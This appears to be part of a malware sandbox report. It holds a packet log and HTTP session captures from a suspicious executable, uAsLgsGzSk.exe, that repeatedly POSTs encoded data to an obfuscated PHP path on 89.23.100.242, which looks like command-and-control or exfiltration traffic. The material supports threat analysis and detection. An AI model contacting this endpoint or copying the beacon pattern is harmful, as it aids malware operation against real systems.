Jan 10, 2025 07:59:04.876863956 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.881952047 CET	80	50111	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.881969929 CET	80	50111	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.881983995 CET	80	50111	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.080344915 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.080396891 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.085594893 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.085685015 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.085773945 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.085796118 CET	80	50111	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.085850000 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.090656042 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.200865030 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.206183910 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.207129955 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.207210064 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.212066889 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.439104080 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.444179058 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.444406986 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.564120054 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:05.569313049 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.569351912 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.569384098 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.829966068 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.944292068 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.958870888 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:05.959208012 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.073045015 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.075212002 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.199572086 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.199630976 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.200108051 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.204931974 CET	80	50112	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.204999924 CET	50112	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.205001116 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.205056906 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.205147982 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.205411911 CET	80	50113	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.205468893 CET	50113	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.210062027 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.564106941 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:06.569307089 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.569325924 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.569339991 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:06.958594084 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.079787016 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.092672110 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.189270973 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.215678930 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.215780973 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.220849037 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.220890045 CET	80	50114	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.220942020 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.220969915 CET	50114	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.221076965 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.225990057 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.579878092 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:07.585073948 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.585117102 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.585146904 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:07.964337111 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.017168045 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.122549057 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.204672098 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.248593092 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.248939991 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.253521919 CET	80	50115	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.253561974 CET	50115	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.253711939 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.253763914 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.253855944 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.258709908 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.611063004 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:08.616118908 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.616136074 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:08.616149902 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.103215933 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.157788992 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.232789040 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.282790899 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.361340046 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.361706972 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.366338015 CET	80	50116	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.366388083 CET	50116	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.366535902 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.366589069 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.366720915 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.371450901 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.720398903 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:09.725667000 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.725706100 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:09.725742102 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.283348083 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.284368992 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.284399986 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.284440041 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.284440041 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.404982090 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.405539989 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.410283089 CET	80	50117	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.410345078 CET	50117	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.410439014 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.410526991 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.410666943 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.415596008 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.767287970 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.772316933 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.772351027 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.772361040 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.971260071 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.971456051 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.976527929 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:10.976614952 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.976708889 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:10.981651068 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.022134066 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.026875973 CET	80	50118	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.026916981 CET	50118	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.094310999 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.099529028 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.101411104 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.101484060 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.106375933 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.329791069 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.334995985 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.335174084 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.454806089 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.459842920 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.459856033 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.459863901 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.816303968 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.861016035 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:11.908229113 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:11.954679966 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.026808023 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.031193018 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.032164097 CET	80	50119	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.032246113 CET	50119	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.041757107 CET	80	50120	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.041832924 CET	50120	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.044698000 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.049642086 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.049746990 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.049834013 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.054641962 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.407872915 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.412935019 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.412947893 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.412957907 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.808871984 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.858401060 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:12.944700003 CET	80	50121	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:12.985918999 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.059009075 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.065212011 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.065287113 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.065357924 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.070949078 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.423511028 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.428926945 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.428963900 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.428996086 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.819375038 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:13.860941887 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:13.956799030 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.001568079 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.074270964 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.074528933 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.079535007 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.079627991 CET	80	50122	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.079669952 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.079705954 CET	50122	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.079814911 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.084670067 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.439152956 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.444458961 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.444499016 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.444531918 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.823292017 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:14.876564980 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:14.974802971 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.017185926 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.085546017 CET	50121	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.089278936 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.089427948 CET	50124	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.094383001 CET	80	50123	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.094424009 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.094445944 CET	50123	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.094487906 CET	50124	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.094574928 CET	50124	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.099389076 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.439156055 CET	50124	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:15.444575071 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.444613934 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.444645882 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:15.958376884 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:16.001564026 CET	50124	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:16.088973045 CET	80	50124	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:16.142178059 CET	50124	80	192.168.2.4	89.23.100.242

HTTP Request Dependency Graph

89.23.100.242

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:30.531393051 CET	530	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:30.877572060 CET	344	OUT	Data Raw: 00 04 04 07 06 00 01 04 05 06 02 01 02 0d 01 07 00 06 05 00 02 0d 03 0e 02 0e 0d 07 04 07 02 01 0a 01 07 00 07 03 04 56 0e 53 04 00 07 04 06 56 06 0b 0e 5d 0f 00 01 04 04 0f 04 57 06 51 07 0c 00 0a 0c 0b 00 04 06 55 0e 52 0d 03 0e 01 0f 09 07 01 Data Ascii: VSV]WQUR]W\L~h^zt[~\welOhReO`ltL\|ZhKlop_l^r\|htg]\j_~V@{}bbi
Jan 10, 2025 07:57:31.274888992 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:31.379204035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 35 36 63 0d 0a 56 4a 7e 06 78 53 63 02 6c 72 78 05 7c 4f 55 4a 7e 77 73 41 7c 4e 65 0c 7b 73 63 5e 7d 4c 74 05 60 5d 71 08 6d 5f 71 49 61 48 55 58 7d 5b 78 01 55 4b 71 0c 60 61 7b 06 68 71 69 00 68 74 61 53 79 66 70 08 6a 60 64 5d 62 72 7d 03 63 61 7d 47 7e 61 57 5a 6a 6c 64 08 69 59 70 5b 62 5c 7b 06 7c 5b 6d 03 69 60 76 58 6c 77 5e 43 6f 67 5e 04 7b 43 6b 49 79 4c 70 03 6c 5d 76 03 7c 59 7f 58 6f 59 5d 5e 69 61 6f 40 62 61 59 5b 7a 51 41 5b 7f 59 77 54 7f 4f 6d 4e 77 7c 7b 5b 7b 6f 6b 59 74 5e 72 0d 7b 61 5f 02 69 6c 50 02 7b 61 58 49 77 70 60 5b 76 5f 70 41 77 4f 72 50 7e 5d 79 5f 77 4c 6d 04 61 65 55 50 7f 6c 66 5c 77 6f 6c 04 7c 70 7c 01 78 6f 7f 03 6f 59 76 00 6b 6d 68 08 74 64 7c 05 7e 62 71 50 69 6e 64 52 78 6e 79 5e 7e 71 62 5a 7b 5d 46 51 7c 7f 6b 52 7f 60 67 52 6a 01 7a 07 7a 7d 68 59 7b 5c 7b 5d 7f 72 63 07 7e 64 7b 08 68 5e 66 51 6d 4d 7c 07 7f 62 51 5b 74 73 71 51 7b 5c 79 00 76 76 5a 4b 7c 76 68 4d 7d 48 6d 09 74 4c 67 4a 7c 5c 69 42 7f 49 76 0a 7b 58 60 09 7e 5d 7b 47 75 72 7d 4f 74 [TRUNCATED] Data Ascii: 56cVJ~xSclrx\|OUJ~wsA\|Ne{sc^}Lt`]qm_qIaHUX}[xUKq`a{hqihtaSyfpj`d]br}ca}G~aWZjldiYp[b\{\|[mi`vXlw^Cog^{CkIyLpl]v\|YXoY]^iao@baY[zQA[YwTOmNw\|{[{okYt^r{a_ilP{aXIwp`[v_pAwOrP~]y_wLmaeUPlf\wol\|p\|xooYvkmhtd\|~bqPindRxny^~qbZ{]FQ\|kR`gRjzz}hY{\{]rc~d{h^fQmM\|bQ[tsqQ{\yvvZK\|vhM}HmtLgJ\|\iBIv{X`~]{Gur}OtOm_j\|d@}gQDuak{rmI}N_ywZMyg^{mgxblx]fNl{YVJ}\svap\|\|]Ew`O\|amCvlh{BdKtNrNyaq~\|Pzazuc]Iv_dvab@p~MtLiwe^BStlRc`y\|Q{pfD\|}\|Ntwt}Lb~mU@xSz}LS\|NZBpN}^xB~wrCx}c{bpqg}ws\|NqO{c`}rtvsq@zOyuHp\|ft}f}vrwba\|gfxf`\|sGuLut_q~az~\|l}IQKwagI{\}}`_xg^{wtxS{zr^x]~{]NZoxD}rswb{[j`[^`Oh_bSvU\|xBY\tYz@ma_Ji\|~_z\y\}b`g{ZL~JxYi\tq}vexARuwU\|]sZxl_{`vtthjazzSYQa~CjrAPsIBQoAPilTjkyWT\|wlaRXt@et`LRsAmosy_BXt`i@ya\XuXZ~X{_j_bQvr{\|rqO\|weRxfwSi`tXau_v[KYkeGSMj^F`x\Vnn\PiZyZpzYhzSwHzOIzs\_~ws]ldDQ~`YYbVjZW`x{^U\A{lW{Cp]@PnbFPKo_D`\|_bY@[\~x_[]OzoZsJxQG\coCRpAlZGmy_hUO[Xw@jqbQ\|P\|wbj~ [TRUNCATED]
Jan 10, 2025 07:57:31.379251003 CET	350	IN	Data Raw: 72 5c 4e 57 5a 4a 5c 7c 75 7f 5f 63 60 09 4f 56 7d 66 5d 59 65 04 54 6a 00 08 06 52 5c 6a 41 5c 63 7c 45 68 71 65 5c 7d 5a 79 6f 63 4b 70 4b 7a 5a 56 5c 5a 05 7a 45 5d 62 5c 40 53 59 0a 5b 52 0b 63 4c 54 7b 78 06 6c 58 74 44 6f 65 71 06 7a 58 6e Data Ascii: r\NWZJ\\|u_c`OV}f]YeTjR\jA\c\|Ehqe\}ZyocKpKzZV\ZzE]b\@SY[RcLT{xlXtDoeqzXnFWkkXlp{aR~tmnxXyt}XhcDT{c]RaQaEWZGhdcRbkp\|Ssp]@PnbFPKo_D`xEZ[gF[XaLUq_[am\wXswSzX{{wS`oJWoxZ\|]DZhoOZtAj[MkNPQ~[Tab[{^^Q\|\|xL~NtA~J~G\|TV_
Jan 10, 2025 07:57:31.429939985 CET	506	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 384 Expect: 100-continue
Jan 10, 2025 07:57:31.670556068 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:31.670717001 CET	384	OUT	Data Raw: 59 57 43 53 5e 5e 53 57 58 5b 57 56 50 5d 5b 5b 55 56 5e 58 54 5e 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YWCS^^SWX[WVP][[UV^XT^Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/1/[?=?\/+.#(^4]!4?T(U7=<>F%.(Y&*'_!/Y.1
Jan 10, 2025 07:57:31.931037903 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 11 23 05 0d 0c 24 3c 2d 53 2e 2f 3e 0e 2b 56 23 01 3e 13 38 07 3e 30 2f 54 39 2c 20 0e 22 28 3a 05 3c 0c 36 56 24 12 2c 53 27 27 21 59 0c 13 25 00 3d 3a 32 09 2a 04 05 07 3c 21 2e 40 26 23 2c 03 25 3d 3e 0a 23 2c 2c 17 3f 14 39 52 2b 31 0b 52 2d 29 2c 5f 3d 3c 0e 11 27 1c 2a 57 0c 1f 26 10 36 32 31 1c 21 54 29 02 27 38 09 10 33 16 34 1d 32 59 34 03 37 3a 28 00 3a 07 20 58 22 00 0a 5b 2a 10 32 56 36 0c 30 19 3f 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989#$<-S./>+V#>8>0/T9, "(:<6V$,S''!Y%=:2<!.@&#,%=>#,,?9R+1R-),_=<'W&621!T)'8342Y47:(: X"[*2V60? Q""P0]Q0
Jan 10, 2025 07:57:31.952721119 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 1820 Expect: 100-continue
Jan 10, 2025 07:57:32.194262981 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:32.194561958 CET	1820	OUT	Data Raw: 5c 55 46 52 5e 5e 56 51 58 5b 57 56 50 58 5b 53 55 54 5e 52 54 5d 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UFR^^VQX[WVPX[SUT^RT]QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;>=2<5(\;-R<+^<X"$#(/=<!1-0'_!/Y.%
Jan 10, 2025 07:57:32.441204071 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 11 23 3b 2c 53 26 3f 21 55 39 2f 39 53 2b 20 37 01 3d 04 38 06 29 55 23 10 2e 06 3f 57 35 2b 0b 5d 2b 0c 26 51 30 02 34 1f 26 27 21 59 0c 13 26 12 3c 29 3d 1c 29 2a 38 12 3c 08 22 08 27 55 3f 5e 30 3d 00 09 34 3f 38 17 3c 2a 26 08 3f 0f 2d 52 2e 39 38 15 2a 2f 20 1f 33 36 2a 57 0c 1f 25 0b 35 1c 39 1e 22 31 21 00 30 2b 2b 53 24 16 28 56 24 2f 37 10 20 3a 3c 02 2e 17 09 02 35 07 24 5f 3e 00 2a 1f 35 1c 27 0a 2b 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989#;,S&?!U9/9S+ 7=8)U#.?W5+]+&Q04&'!Y&<)=)8<"'U?^0=4?8<&?-R.98/ 36W%59"1!0++S$(V$/7 :<.5$_>*5'+ Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
